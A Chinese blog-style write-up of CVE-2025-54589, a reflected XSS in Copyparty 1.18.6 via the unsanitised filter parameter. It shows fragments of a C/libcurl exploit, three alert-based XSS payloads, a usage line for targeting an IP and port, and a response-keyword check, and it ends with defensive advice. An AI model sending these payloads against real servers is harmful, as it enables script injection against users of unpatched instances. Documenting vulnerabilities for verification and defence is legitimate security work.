Copyparty 1.18.6反射型跨站脚本(XSS)漏洞分析与利用

本文详细分析了Copyparty 1.18.6版本中存在的反射型XSS漏洞(CVE-2025-54589),包含漏洞原理、利用代码及多种XSS攻击载荷,适用于网络安全研究人员进行漏洞验证。

Copyparty 1.18.6 - 反射型跨站脚本(XSS)漏洞

漏洞概述

CVE-2025-54589是Copyparty(≤1.18.6)中存在的一个反射型跨站脚本(XSS)漏洞,由于filter参数在插入HTML响应时未经过适当净化,攻击者能够在受害者浏览器中注入并执行任意JavaScript代码。

漏洞细节

1
2
3
4
5
6
/*
 * 作者: Byte Reaper
 * CVE编号: CVE-2025-54589
 * 标题: Copyparty 1.18.6 - 反射型跨站脚本(XSS)
 * 漏洞描述: filter参数未经净化直接插入HTML响应
*/

利用代码

该漏洞利用程序使用C语言编写,基于libcurl库发送恶意请求:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#include <curl/urlapi.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <curl/curl.h>
#include "argparse.h"
#include <stdlib.h> 
#include <arpa/inet.h>
#include <stdarg.h>
#include <unistd.h>

// 定义XSS攻击载荷
const char *payloadXss[] = {
    "</script><script>alert(1)</script>",
    "<script\x09type=\"text/javascript\">javascript:alert(XSS);</script>",
    "<script\x0Ctype=\"text/javascript\">javascript:alert(byte);</script>"
};

功能特性

  1. 支持多种XSS攻击载荷
  2. 可自定义目标IP和端口
  3. 支持Cookie会话保持
  4. 详细日志输出功能
  5. 结果自动保存到文件

使用方法

1
./exploit -i <目标IP> -p <端口> [-c cookies文件] [-v 详细模式]

检测机制

程序会检测服务器响应中是否包含以下关键词来判断漏洞是否存在:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
const char *wordF[] = {
    "Error",
    "Exception",
    "Invalid",
    "XSS",
    "<script>",
    "</script>",
    "alert(1)",
    // ...其他检测关键词
};

技术要点

  1. 使用curl_easy_escape()对载荷进行URL编码
  2. 支持HTTPS/HTTP协议
  3. 可自定义CA证书
  4. 包含详细的错误处理和日志功能

防御建议

  1. 对所有用户输入进行严格过滤和转义
  2. 升级到Copyparty最新版本
  3. 实施内容安全策略(CSP)
  4. 设置HttpOnly和Secure标志的Cookie
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计